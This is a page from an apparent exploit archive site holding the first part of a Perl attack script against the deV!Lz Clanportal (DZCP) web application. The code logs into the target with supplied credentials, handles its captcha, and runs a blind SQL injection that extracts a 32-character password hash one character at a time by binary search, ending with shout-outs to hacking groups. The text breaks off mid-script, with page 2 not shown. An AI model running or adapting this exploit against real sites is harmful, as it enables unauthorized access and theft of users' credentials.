You are here: hacking technology > Exploit > Content
Hot Articles
Recommend Articles
New Articles
deV!Lz Clanportal [DZCP]
  Add date: 01/12/2009   Publishing date: 01/12/2009   Hits: 1481
Total 2 pages, Current page:1, Jump to page:
 

use HTTP::Cookies;
use LWP::UserAgent;

my $ua    = LWP::UserAgent->new( cookie_jar => HTTP::Cookies->new,);

$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );

usage();
print "\n";

$server =   $ARGV[0];
$dir = $ARGV[1];
$username =   $ARGV[2];
$password = $ARGV[3];

if (!$password) { die "Argh! Read teh Usage!\n"; }

$url0 = "http://".$server.$dir."user/index.php";
$url1 = $url0."?action=login&do=yes";
$url2 = $url0."?action=buddys&do=addbuddy";

syswrite(STDOUT, "[x]Connecting...", 16);

$response = $ua->get($url0);
if($response->is_success) {syswrite(STDOUT, "OK", 2);} else { print "\n[x]Ey I couldn't connect to ".$url0; exit;}
print "\n";

$captcha = ($response->content =~ m/secure=login/i) ? 1 : 0;

if($captcha) { captcha(); }

$response = (!$captcha) ? $ua->post($url1, [ "user" => $username, "pwd" => $password ]) : $ua->post($url1, [ "user" => $username, "pwd" => $password , "secure" => $imgCode]);

if($response->content =~ m/Sicherheitsscode/i) { print "[x]Lol you gave me wrong image code. Restart!"; exit; }
elsif($response->content =~ m/gesperrt/i) { print "[x]Omg you gave me wrong user details. Restart!"; exit; }

$response = $ua->get($url2);

print "[x]Kay, unleashing BlackMagic now. Getta Coffee and wait!!\n";

my @Daten;
array();

my $operator;

syswrite(STDOUT, "[x]Password: ", 13);

for($b=1;$b<=32;$b++) { inject(0,16); }

print "\n[x]OmFg I made it!!\n";
print "[x]Have FUN!\n";
print "[x]Greetz & Shoutz go to: IP-Sh0k, haZl0oh, bizzit, NoNePub, thund3r ,ramon,\n";
print "   J0hn.X3r, electron1x, Paloxus, -tmh- aka B-Baerchi, Nazrek aka Patrick_B, WooMic, codeblu815\n";
print "   Free-Hack, Sys-Flaw, SoH and h4ck-y0u!\n";
print "[x]Biggest Thanks go to Shadowleet aka \$h4d0wl33t who is simply the best at his stuff!";

sub hex_to_ascii($)
{      
        (my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
        return $str;
}
sub inject
{
    $beg = $_[0]; $end = $_[1];  
    $mid = int(($beg + $end)/2); #print $mid."\n";
    if(&equals($mid))
    {      
        syswrite(STDOUT, hex_to_ascii($Daten[$mid]), 1);                
        return;  
    }
    elsif(&bigger($mid)) { return inject($mid + 1, $end); }  
    else { return inject($beg, $mid - 1); }      

 

Other pages: : 1 * 2 * Next>>
Prev:db Software Laboratory VImpX (VImpX.ocx) Multiple Vulnerabilities Next:Chipmunk CMS (reguser.php) Add Admin Exploit (html)

Comment:

Category: Home > Exploit